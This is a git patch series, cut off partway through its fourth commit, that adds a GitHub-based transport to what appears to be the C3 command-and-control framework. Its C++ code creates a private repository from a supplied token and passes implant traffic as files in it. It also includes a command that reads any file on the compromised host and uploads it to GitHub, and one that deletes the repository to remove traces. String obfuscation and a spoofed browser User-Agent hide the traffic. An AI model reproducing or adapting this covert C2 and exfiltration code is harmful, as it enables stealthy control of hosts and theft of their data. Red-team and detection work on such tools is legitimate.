From 1084d423f9ff3afde94c1b77cca334e6822698de Mon Sep 17 00:00:00 2001 From: Sunny Neo Date: Thu, 30 Jul 2020 17:37:41 +0800 Subject: [PATCH 1/4] Github Module Added --- Res/GithubChannel.md | 14 + Src/Common/Common.vcxitems | 6 +- Src/Common/Common.vcxitems.filters | 6 +- .../FSecure/C3/Interfaces/Channels/Github.cpp | 136 ++++++++ .../FSecure/C3/Interfaces/Channels/Github.h | 56 ++++ Src/Common/FSecure/Github/GithubApi.cpp | 291 ++++++++++++++++++ Src/Common/FSecure/Github/GithubApi.h | 106 +++++++ 7 files changed, 613 insertions(+), 2 deletions(-) create mode 100644 Res/GithubChannel.md create mode 100644 Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp create mode 100644 Src/Common/FSecure/C3/Interfaces/Channels/Github.h create mode 100644 Src/Common/FSecure/Github/GithubApi.cpp create mode 100644 Src/Common/FSecure/Github/GithubApi.h diff --git a/Res/GithubChannel.md b/Res/GithubChannel.md new file mode 100644 index 0000000..fb602da --- /dev/null +++ b/Res/GithubChannel.md @@ -0,0 +1,14 @@ +# Github Channel + +## Setup + +Prior to using Github API within C3, the steps below must be taken. +1. Create a Github account +2. Generate Personal Access Token with API Permissions (repo, delete_repo) +3. Insert the generated Personal Access Token to C3 channel. + +## Rate Limit + +There is rate limiting implemented for Github API. Each channel instance will send GET request every 3 to 6 seconds, to receive packets from server. Multiple channels accessing one Github account can consume whole limit causing other connections to throttle. Refer to https://developer.github.com/v3/rate_limit/ for more information. + + diff --git a/Src/Common/Common.vcxitems b/Src/Common/Common.vcxitems index fcfe697..7d9c028 100644 --- a/Src/Common/Common.vcxitems +++ b/Src/Common/Common.vcxitems @@ -18,6 +18,7 @@ + @@ -35,6 +36,7 @@ + @@ -62,12 +64,14 @@ + + @@ -133,4 +137,4 @@ - + \ No newline at end of file diff --git a/Src/Common/Common.vcxitems.filters b/Src/Common/Common.vcxitems.filters index 02c1636..316982b 100644 --- a/Src/Common/Common.vcxitems.filters +++ b/Src/Common/Common.vcxitems.filters @@ -36,6 +36,8 @@ + + @@ -121,5 +123,7 @@ + + - + \ No newline at end of file diff --git a/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp b/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp new file mode 100644 index 0000000..b1fb34b --- /dev/null +++ b/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp @@ -0,0 +1,136 @@ +#include "Stdafx.h" +#include "Github.h" +#include "Common/FSecure/Crypto/Base64.h" + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +FSecure::C3::Interfaces::Channels::Github::Github(ByteView arguments) + : m_inboundDirectionName{ arguments.Read() } + , m_outboundDirectionName{ arguments.Read() } +{ + auto [GithubToken, channelName, userAgent] = arguments.Read(); + m_githubObj = FSecure::GithubApi{ GithubToken, channelName, userAgent }; +} + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +size_t FSecure::C3::Interfaces::Channels::Github::OnSendToChannel(ByteView data) +{ + // There is a cap on uploads of files >150mb at which point different APIs are required. + data = data.SubString(0, 150 * 1024 * 1024); + m_githubObj.WriteMessageToFile(m_outboundDirectionName, data); + return data.size(); +} + +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +std::vector FSecure::C3::Interfaces::Channels::Github::OnReceiveFromChannel() +{ + std::vector ret; + for (auto& [ts, id] : m_githubObj.GetMessagesByDirection(m_inboundDirectionName)) + { + ret.push_back(m_githubObj.ReadFile(id)); + m_githubObj.DeleteFile(id); + } + + return ret; +} + + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +FSecure::ByteVector FSecure::C3::Interfaces::Channels::Github::OnRunCommand(ByteView command) +{ + auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default. + switch (command.Read()) + { + case 0: + UploadFile(command); + return {}; + case 1: + DeleteAllFiles(); + return {}; + default: + return AbstractChannel::OnRunCommand(commandCopy); + } +} + +void FSecure::C3::Interfaces::Channels::Github::UploadFile(ByteView args) +{ + m_githubObj.UploadFile(args.Read()); +} + + +void FSecure::C3::Interfaces::Channels::Github::DeleteAllFiles() +{ + m_githubObj.DeleteAllFiles(); +} + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +const char* FSecure::C3::Interfaces::Channels::Github::GetCapability() +{ + return R"_( +{ + "create": + { + "arguments": + [ + [ + { + "type": "string", + "name": "Input ID", + "min": 4, + "randomize": true, + "description": "Used to distinguish packets for the channel" + }, + { + "type": "string", + "name": "Output ID", + "min": 4, + "randomize": true, + "description": "Used to distinguish packets from the channel" + } + ], + { + "type": "string", + "name": "Github token", + "min": 1, + "description": "This token is what channel needs to interact with Github's API" + }, + { + "type": "string", + "name": "Repositary name", + "min": 4, + "randomize": true, + "description": "Repositary to create for channel" + }, + { + "type": "string", + "name": "User-Agent Header", + "min": 1, + "defaultValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36", + "description": "The User-Agent header to set" + } + ] + }, + "commands": + [ + { + "name": "Upload File from Relay", + "id": 0, + "description": "Upload file from host running Relay directly to Github", + "arguments": + [ + { + "type" : "string", + "name": "Remote Filepath", + "description" : "Path to upload." + } + ] + }, + { + "name": "Remove All Files", + "id": 1, + "description": "Delete channel folder and all files within it.", + "arguments": [] + } + ] +} +)_"; +} diff --git a/Src/Common/FSecure/C3/Interfaces/Channels/Github.h b/Src/Common/FSecure/C3/Interfaces/Channels/Github.h new file mode 100644 index 0000000..54efa9c --- /dev/null +++ b/Src/Common/FSecure/C3/Interfaces/Channels/Github.h @@ -0,0 +1,56 @@ +#pragma once +#include "Common/FSecure/Github/GithubApi.h" + +namespace FSecure::C3::Interfaces::Channels +{ + ///Implementation of the Github Channel. + struct Github : public Channel + { + /// Public constructor. + /// @param arguments factory arguments. + Github(ByteView arguments); + + /// Destructor + virtual ~Github() = default; + + /// OnSend callback implementation. + /// @param packet data to send to Channel. + /// @returns size_t number of bytes successfully written. + size_t OnSendToChannel(ByteView packet); + + /// Reads a single C3 packet from Channel. + /// @return packet retrieved from Channel. + std::vector OnReceiveFromChannel(); + + /// Get channel capability. + /// @returns Channel capability in JSON format + static const char* GetCapability(); + + /// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime. + /// Set long delay otherwise Github rate limit will heavily impact channel. + constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms; + + /// Processes internal (C3 API) Command. + /// @param command a buffer containing whole command and it's parameters. + /// @return command result. + ByteVector OnRunCommand(ByteView command) override; + + protected: + /// The inbound direction name of data + std::string m_inboundDirectionName; + + /// The outbound direction name, the opposite of m_inboundDirectionName + std::string m_outboundDirectionName; + + /// Uploads file. + /// @param path to file to be uploaded. + void UploadFile(ByteView args); + + /// Delete all files relating to the channel. + void DeleteAllFiles(); + + private: + /// An object encapsulating Github's API, providing methods allowing the consumer to upload and download files from Github, among other things. + FSecure::GithubApi m_githubObj; + }; +} diff --git a/Src/Common/FSecure/Github/GithubApi.cpp b/Src/Common/FSecure/Github/GithubApi.cpp new file mode 100644 index 0000000..9274ddb --- /dev/null +++ b/Src/Common/FSecure/Github/GithubApi.cpp @@ -0,0 +1,291 @@ +#include "stdafx.h" +#include "GithubApi.h" +#include "Common/FSecure/CppTools/StringConversions.h" +#include "Common/FSecure/WinHttp/HttpClient.h" +#include "Common/FSecure/Crypto/Base64.h" +#include + +using namespace FSecure::StringConversions; +using namespace FSecure::WinHttp; + +namespace { + std::wstring ToWideString(std::string const& str) { + return Convert(str); + } +} + +FSecure::GithubApi::GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent) { + if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty()) + this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy); + + + std::string lowerChannelName = channelName; + std::transform(lowerChannelName.begin(), lowerChannelName.end(), lowerChannelName.begin(), [](unsigned char c) { return std::tolower(c); }); + + SetToken(token); + SetUserAgent(userAgent); + SetUser(); + SetChannel(CreateChannel(lowerChannelName)); +} + +void FSecure::GithubApi::SetUser() { + std::string url = OBF("https://api.github.com/user"); + json response = SendJsonRequest(url, NULL, Method::GET); + + if (response.contains(OBF("login"))) { + this->m_Username = response[OBF("login")]; + } + else { + throw std::runtime_error(OBF("Throwing exception: bad credentials\n")); + } +} + +void FSecure::GithubApi::SetUserAgent(std::string const& userAgent) { + this->m_UserAgent = userAgent; +} + +void FSecure::GithubApi::SetToken(std::string const& token) { + this->m_Token = token; +} + +void FSecure::GithubApi::SetChannel(std::string const& channelName) { + this->m_Channel = channelName; +} + +std::map FSecure::GithubApi::ListChannels() { + std::map channelMap; + std::string url = OBF("https://api.github.com/user/repos"); + + json response = SendJsonRequest(url, NULL, Method::GET); + + for (auto& channel : response) { + std::string channelName = channel[OBF("name")]; + + std::int64_t cId = channel[OBF("id")]; + + channelMap.insert({ channelName, cId }); + } + return channelMap; +} + +std::string FSecure::GithubApi::CreateChannel(std::string const& channelName) { + std::map channels = this->ListChannels(); + std::string url; + std::string errorMsg; + json response; + + if (channels.find(channelName) == channels.end()) + { + url = OBF("https://api.github.com/user/repos"); + + json j; + j[OBF("name")] = channelName; + j[OBF("auto_init")] = true; + j[OBF("private")] = true; + + response = SendJsonRequest(url, j, Method::POST); + + if (response.contains(OBF("message"))) { + errorMsg = response[OBF("message")] + OBF("\n"); + throw std::runtime_error(OBF("Throwing exception: unable to create channel - ") + errorMsg); + } + } + return channelName; +} + +FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& filename) { + std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/contents/") + filename; + + ByteVector content = SendHttpRequest(url, OBF("application/vnd.github.v3.raw"), Method::GET, true); + + return content; +} + +void FSecure::GithubApi::WriteMessageToFile(std::string const& direction, ByteView data, std::string const& providedFilename) { + std::string filename; + std::string url; + json j; + + if (providedFilename.empty()) { + ///Create a filename thats prefixed with message direction and suffixed + // with more granular timestamp for querying later + std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch()); + filename = direction + OBF("-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts; + } + else { + filename = providedFilename; + } + + url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/contents/") + filename; + + j[OBF("message")] = OBF("Initial Commit"); + j[OBF("branch")] = OBF("master"); + j[OBF("content")] = cppcodec::base64_rfc4648::encode(data); + + json response = SendJsonRequest(url, j, Method::PUT); +} + +void FSecure::GithubApi::UploadFile(std::string const& path) { + std::filesystem::path filepathForUpload = path; + auto readFile = std::ifstream(filepathForUpload, std::ios::binary); + + ByteVector packet = ByteVector{ std::istreambuf_iterator{readFile}, {} }; + readFile.close(); + + std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch()); + std::string fn = filepathForUpload.filename().string(); // retain same file name and file extension for convenience. + std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn; + + WriteMessageToFile("", packet, filename); +} + +void FSecure::GithubApi::DeleteFile(std::string const& filename) { + json j; + json response; + + std::string getFileInfoUrl = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/contents/") + filename; + + response = json::parse(SendHttpRequest(getFileInfoUrl, OBF("*/*"), Method::GET, true)); + + if (!response.contains(OBF("sha"))) { + throw std::runtime_error(OBF("Throwing exception: file does not exist - ")); + } + + std::string delFileUrl = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/contents/") + filename; + + j[OBF("message")] = OBF("Initial Commit"); + j[OBF("sha")] = response[OBF("sha")]; + + response = SendJsonRequest(delFileUrl, j, Method::DEL); +} + +void FSecure::GithubApi::DeleteAllFiles() { + std::string url; + std::string filename; + json j; + json response; + + std::string getAllFileInfoUrl = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + + this->m_Channel + OBF("/contents/"); + + std::string baseUrl = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/contents/"); + + response = json::parse(SendHttpRequest(getAllFileInfoUrl, OBF("*/*"), Method::GET, true)); + + if (response.contains(OBF("message"))) { + throw std::runtime_error(OBF("Throwing exception: repository is empty\n")); + } + + j[OBF("message")] = OBF("Initial Commit"); + + for (auto& file : response) { + j[OBF("sha")] = file[OBF("sha")]; + filename = file[OBF("name")]; + url = baseUrl + filename; + + SendJsonRequest(url , j, Method::DEL); + } +} + +std::map FSecure::GithubApi::GetMessagesByDirection(std::string const& direction) { + std::map messages; + json response; + std::size_t found; + + std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + + this->m_Channel + OBF("/contents"); + + response = json::parse(SendHttpRequest(url, OBF("*/*"), Method::GET, true)); + + for (auto& match : response) { + if (match.contains(OBF("name"))) { + std::string filename = match[OBF("name")]; + + //Search whether filename contains direction id + found = filename.find(direction); + + if (found != std::string::npos) { + std::string ts = filename.substr(filename.length() - 10); // 10 = epoch time length + messages.insert({ ts, filename }); + } + } + } + return messages; +} + +FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, FSecure::WinHttp::ContentType contentType, std::vector const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) { + return SendHttpRequest(host, GetContentType(contentType), data, method, setAuthorizationHeader); +} + +FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector const& data, FSecure::WinHttp::Method method, bool setAuthorizationHeader) { + while (true) { + HttpClient webClient(ToWideString(host), m_ProxyConfig); + HttpRequest request; + request.m_Method = method; + + if (!data.empty()) { + request.SetData(contentType, data); + } + + request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent)); + + if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header) + request.SetHeader(Header::Authorization, OBF(L"token ") + ToWideString(this->m_Token)); + } + + auto resp = webClient.Request(request); + + if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) { + return resp.GetData(); + } + else if (resp.GetStatusCode() == StatusCode::TooManyRequests) { + std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s)); + } + else { + throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n")); + } + } +} + +FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::string const& acceptType, FSecure::WinHttp::Method method, bool setAuthorizationHeader) { + while (true) { + HttpClient webClient(ToWideString(host), m_ProxyConfig); + HttpRequest request; + request.m_Method = method; + + request.SetHeader(Header::Accept, ToWideString(acceptType)); + + request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent)); + + if (setAuthorizationHeader) { // Only set Authorization header when needed (S3 doesn't like this header) + request.SetHeader(Header::Authorization, OBF(L"token ") + ToWideString(this->m_Token)); + } + + auto resp = webClient.Request(request); + + if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) { + return resp.GetData(); + } + else if (resp.GetStatusCode() == StatusCode::TooManyRequests) { + std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s)); + } + else { + throw std::exception(OBF("[x] Non 200/201/429 HTTP Response\n")); + } + } +} + +json FSecure::GithubApi::SendJsonRequest(std::string const& url, json const& data, FSecure::WinHttp::Method method) { + if (data == NULL) { + return json::parse(SendHttpRequest(url, ContentType::MultipartFormData, {}, method)); + } + else { + std::string j = data.dump(); + return json::parse(SendHttpRequest(url, ContentType::ApplicationJson, { std::make_move_iterator(j.begin()), std::make_move_iterator(j.end()) }, method)); + } +} \ No newline at end of file diff --git a/Src/Common/FSecure/Github/GithubApi.h b/Src/Common/FSecure/Github/GithubApi.h new file mode 100644 index 0000000..55db1e1 --- /dev/null +++ b/Src/Common/FSecure/Github/GithubApi.h @@ -0,0 +1,106 @@ +#pragma once + +#include "Common/json/json.hpp" +#include "Common/FSecure/WinHttp/WebProxy.h" +#include "Common/FSecure/WinHttp/Constants.h" + +using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json + +namespace FSecure +{ + class GithubApi + { + public: + + /// Constructor for the Github Api class. + GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent); + + + /// Retrieve the Github Username and initialise for the instance + void SetUser(); + + /// set OAuth token for Github + /// @param token - the textual Github OAuth token. + void SetToken(std::string const& token); + + /// set UserAgent for Github HTTP Request + /// @param userAgent + void SetUserAgent(std::string const& userAgent); + + /// Set the channel (i.e. Github repository) that this object uses for communications + /// @param channelName - the channel name Id (not name), for example CGPMGFGSH. + void SetChannel(std::string const& channelName); + + /// Will list the created folders in Github and if already preset return the channel name. If not already created, + /// creates a new folder on Github. + /// @param channelName - the actual name of the folder to create, such as "files". + /// @return - the channel name of the new or already existing channel. + std::string CreateChannel(std::string const& channelName); + + /// List all the repository in the workspace the object's token is tied to. + /// @return - a map of {channelName -> channelId} + std::map ListChannels(); + + /// Download file by its path. + /// @param filename - path of file. + /// @return - string of file content + FSecure::ByteVector ReadFile(std::string const& filename); + + /// Write a message as the contents of a file and upload to Github. + /// @param direction - the name of the file to upload + /// @param data - the text of the message + /// @param filename - optional custom filename for uploaded file + void WriteMessageToFile(std::string const& direction = "", ByteView data = {}, std::string const& providedFilename = ""); + + /// Upload a file in its entirety to Github + /// @param path - path to file for upload + void UploadFile(std::string const& path); + + /// Delete a file + /// @param filename - the full path of the file on Github. + void DeleteFile(std::string const& filename); + + /// Delete channel folder and all files within Github + void DeleteAllFiles(); + + /// Get all of the files representing messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa. + /// @param direction - the direction to search for (eg. "S2C"). + /// @return - a map of timestamp and file id, where id allows replies to be read later + std::map GetMessagesByDirection(std::string const& direction); + + /// Default constructor. + GithubApi() = default; + + private: + + /// Hold proxy settings + WinHttp::WebProxy m_ProxyConfig; + + /// The Github username + std::string m_Username; + + /// The Github channel (repo) through which messages are sent and received, will be sent when the object is created. + std::string m_Channel; + + /// The Github OAuth Token that allows the object access to the account. Needs to be manually created as described in documentation. + std::string m_Token; + + /// UserAgent + std::string m_UserAgent; + + /// Send http request, uses preset token for authentication (wrapper to easily set content type) + FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, WinHttp::ContentType contentType, std::vector const& data, WinHttp::Method method, bool setAuthorizationHeader = true); + + /// Send http request, uses preset token for authentication + FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, std::wstring const& contentType, std::vector const& data, WinHttp::Method method, bool setAuthorizationHeader = true); + + /// Send http request, uses preset token for authentication with github accept header to view raw file content + FSecure::ByteVector SendHttpRequest(std::string const& host, std::string const& acceptType, FSecure::WinHttp::Method method, bool setAuthorizationHeader); + + /// Send http request with json data, uses preset token for authentication + json SendJsonRequest(std::string const& url, json const& data, WinHttp::Method method); + + }; + +} + From 4c40fc4601eb2f11a3fa247395d74fc21de574dd Mon Sep 17 00:00:00 2001 From: Sunny Neo Date: Fri, 7 Aug 2020 17:11:34 +0800 Subject: [PATCH 2/4] Bug Fix and Update --- Src/Common/FSecure/Github/GithubApi.cpp | 112 ++++++++++++++++-------- Src/Common/FSecure/Github/GithubApi.h | 11 +-- 2 files changed, 83 insertions(+), 40 deletions(-) diff --git a/Src/Common/FSecure/Github/GithubApi.cpp b/Src/Common/FSecure/Github/GithubApi.cpp index 9274ddb..b25074b 100644 --- a/Src/Common/FSecure/Github/GithubApi.cpp +++ b/Src/Common/FSecure/Github/GithubApi.cpp @@ -3,8 +3,10 @@ #include "Common/FSecure/CppTools/StringConversions.h" #include "Common/FSecure/WinHttp/HttpClient.h" #include "Common/FSecure/Crypto/Base64.h" +#include "Common/FSecure/CppTools/Utils.h" #include + using namespace FSecure::StringConversions; using namespace FSecure::WinHttp; @@ -14,6 +16,7 @@ namespace { } } + FSecure::GithubApi::GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent) { if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty()) this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy); @@ -65,6 +68,7 @@ std::map FSecure::GithubApi::ListChannels() { channelMap.insert({ channelName, cId }); } + return channelMap; } @@ -90,15 +94,45 @@ std::string FSecure::GithubApi::CreateChannel(std::string const& channelName) { throw std::runtime_error(OBF("Throwing exception: unable to create channel - ") + errorMsg); } } + return channelName; } -FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& filename) { - std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel - + OBF("/contents/") + filename; +FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& fileNameSizeSHA) { + std::string url; + json response; + std::string delimiter = OBF(":"); - ByteVector content = SendHttpRequest(url, OBF("application/vnd.github.v3.raw"), Method::GET, true); + //string contains filename:size:sha value + std::vector fileNameSizeSHASplit = Utils::SplitAndCopy(fileNameSizeSHA, delimiter); + + std::int64_t fileSize = 0; + std::string filename; + std::string fileSHA; + + if (fileNameSizeSHASplit.size() > 0) { + filename = fileNameSizeSHASplit.at(0); + fileSize = std::stoull(fileNameSizeSHASplit.at(1), NULL ,10); + fileSHA = fileNameSizeSHASplit.at(2); + } + else { + throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSizeSHA\n")); + } + + // Github does not allow API access to download raw file with size of > 1 MB + // less than or equal to 1 MB for Github API, otherwise Github Blob to retrieve the file + if (fileSize <= 1048576) { + url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/contents/") + filename; + } + else { + url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + + OBF("/git/blobs/") + fileSHA; + } + + auto content = cppcodec::base64_rfc4648::decode(SendHttpRequest(url, OBF("application/vnd.github.v3.raw"), Method::GET, true)); + return content; } @@ -122,12 +156,14 @@ void FSecure::GithubApi::WriteMessageToFile(std::string const& direction, ByteVi j[OBF("message")] = OBF("Initial Commit"); j[OBF("branch")] = OBF("master"); - j[OBF("content")] = cppcodec::base64_rfc4648::encode(data); + j[OBF("content")] = cppcodec::base64_rfc4648::encode(cppcodec::base64_rfc4648::encode(data)); json response = SendJsonRequest(url, j, Method::PUT); } void FSecure::GithubApi::UploadFile(std::string const& path) { + std::cout << "UPLOAD FILE ... " << std::flush; + std::filesystem::path filepathForUpload = path; auto readFile = std::ifstream(filepathForUpload, std::ios::binary); @@ -139,63 +175,64 @@ void FSecure::GithubApi::UploadFile(std::string const& path) { std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn; WriteMessageToFile("", packet, filename); + + std::cout << "UPLOAD FILE OK" << std::endl; } -void FSecure::GithubApi::DeleteFile(std::string const& filename) { +void FSecure::GithubApi::DeleteFile(std::string const& fileNameSizeSHA) { + std::string url; json j; json response; - std::string getFileInfoUrl = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel - + OBF("/contents/") + filename; + std::string delimiter = OBF(":"); + std::string fileSHA; - response = json::parse(SendHttpRequest(getFileInfoUrl, OBF("*/*"), Method::GET, true)); + std::vector fileNameSizeSHASplit = Utils::SplitAndCopy(fileNameSizeSHA, delimiter); - if (!response.contains(OBF("sha"))) { - throw std::runtime_error(OBF("Throwing exception: file does not exist - ")); + std::int64_t fileSize; + std::string filename; + + if (fileNameSizeSHASplit.size() > 0) { + filename = fileNameSizeSHASplit.at(0); + fileSize = std::stoull(fileNameSizeSHASplit.at(1), NULL, 10); + fileSHA = fileNameSizeSHASplit.at(2); + } + else { + throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSizeSHA\n")); } - std::string delFileUrl = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + OBF("/contents/") + filename; j[OBF("message")] = OBF("Initial Commit"); - j[OBF("sha")] = response[OBF("sha")]; + j[OBF("sha")] = fileSHA; - response = SendJsonRequest(delFileUrl, j, Method::DEL); + response = SendJsonRequest(url, j, Method::DEL); } void FSecure::GithubApi::DeleteAllFiles() { std::string url; - std::string filename; - json j; json response; - std::string getAllFileInfoUrl = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + - this->m_Channel + OBF("/contents/"); + //delete repo + url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + + this->m_Channel; - std::string baseUrl = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel - + OBF("/contents/"); - - response = json::parse(SendHttpRequest(getAllFileInfoUrl, OBF("*/*"), Method::GET, true)); + response = SendJsonRequest(url, NULL, Method::DEL); if (response.contains(OBF("message"))) { - throw std::runtime_error(OBF("Throwing exception: repository is empty\n")); - } - - j[OBF("message")] = OBF("Initial Commit"); - - for (auto& file : response) { - j[OBF("sha")] = file[OBF("sha")]; - filename = file[OBF("name")]; - url = baseUrl + filename; - - SendJsonRequest(url , j, Method::DEL); + throw std::runtime_error(OBF("Throwing exception: unable to delete repository\n")); } } std::map FSecure::GithubApi::GetMessagesByDirection(std::string const& direction) { std::map messages; json response; + std::string filename; std::size_t found; + std::int64_t fileSize; + std::string fileSizeStr; + std::string fileSHA; std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + OBF("/contents"); @@ -204,17 +241,22 @@ std::map FSecure::GithubApi::GetMessagesByDirection(st for (auto& match : response) { if (match.contains(OBF("name"))) { - std::string filename = match[OBF("name")]; + filename = match[OBF("name")]; + fileSize = match[OBF("size")]; + fileSHA = match[OBF("sha")]; + + fileSizeStr = std::to_string(fileSize); //Search whether filename contains direction id found = filename.find(direction); if (found != std::string::npos) { std::string ts = filename.substr(filename.length() - 10); // 10 = epoch time length - messages.insert({ ts, filename }); + messages.insert({ts, filename + OBF(":") + fileSizeStr + OBF(":") + fileSHA }); } } } + return messages; } diff --git a/Src/Common/FSecure/Github/GithubApi.h b/Src/Common/FSecure/Github/GithubApi.h index 55db1e1..389f73d 100644 --- a/Src/Common/FSecure/Github/GithubApi.h +++ b/Src/Common/FSecure/Github/GithubApi.h @@ -14,8 +14,7 @@ namespace FSecure /// Constructor for the Github Api class. GithubApi(std::string const& token, std::string const& channelName, std::string const& userAgent); - - + /// Retrieve the Github Username and initialise for the instance void SetUser(); @@ -42,9 +41,9 @@ namespace FSecure std::map ListChannels(); /// Download file by its path. - /// @param filename - path of file. + /// @param filename - path of file and the size. Format "filename:filesize" /// @return - string of file content - FSecure::ByteVector ReadFile(std::string const& filename); + FSecure::ByteVector ReadFile(std::string const& fileNameSizeSHA); /// Write a message as the contents of a file and upload to Github. /// @param direction - the name of the file to upload @@ -68,6 +67,7 @@ namespace FSecure /// @return - a map of timestamp and file id, where id allows replies to be read later std::map GetMessagesByDirection(std::string const& direction); + /// Default constructor. GithubApi() = default; @@ -88,6 +88,8 @@ namespace FSecure /// UserAgent std::string m_UserAgent; + + /// Send http request, uses preset token for authentication (wrapper to easily set content type) FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, WinHttp::ContentType contentType, std::vector const& data, WinHttp::Method method, bool setAuthorizationHeader = true); @@ -99,7 +101,6 @@ namespace FSecure /// Send http request with json data, uses preset token for authentication json SendJsonRequest(std::string const& url, json const& data, WinHttp::Method method); - }; } From 86a6ce6ee861cd1172314374b28a638adf00edb7 Mon Sep 17 00:00:00 2001 From: Sunny Neo Date: Fri, 7 Aug 2020 17:20:39 +0800 Subject: [PATCH 3/4] Change maximum file limit to 100MB --- Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp b/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp index b1fb34b..3b40625 100644 --- a/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp +++ b/Src/Common/FSecure/C3/Interfaces/Channels/Github.cpp @@ -15,7 +15,7 @@ FSecure::C3::Interfaces::Channels::Github::Github(ByteView arguments) size_t FSecure::C3::Interfaces::Channels::Github::OnSendToChannel(ByteView data) { // There is a cap on uploads of files >150mb at which point different APIs are required. - data = data.SubString(0, 150 * 1024 * 1024); + data = data.SubString(0, 100 * 1024 * 1024); m_githubObj.WriteMessageToFile(m_outboundDirectionName, data); return data.size(); } From 8a8be0f7833bacd6d05deebac7b086dfbfc4d356 Mon Sep 17 00:00:00 2001 From: Sunny Neo Date: Sat, 8 Aug 2020 01:42:33 +0800 Subject: [PATCH 4/4] Update ReadFile to raw.githubusercontent and handle HTTP Response Conflict like TooManyRequest --- Src/Common/FSecure/Github/GithubApi.cpp | 77 +++++++++---------------- Src/Common/FSecure/Github/GithubApi.h | 2 +- 2 files changed, 28 insertions(+), 51 deletions(-) diff --git a/Src/Common/FSecure/Github/GithubApi.cpp b/Src/Common/FSecure/Github/GithubApi.cpp index b25074b..6f84ae6 100644 --- a/Src/Common/FSecure/Github/GithubApi.cpp +++ b/Src/Common/FSecure/Github/GithubApi.cpp @@ -98,40 +98,27 @@ std::string FSecure::GithubApi::CreateChannel(std::string const& channelName) { return channelName; } -FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& fileNameSizeSHA) { +FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string 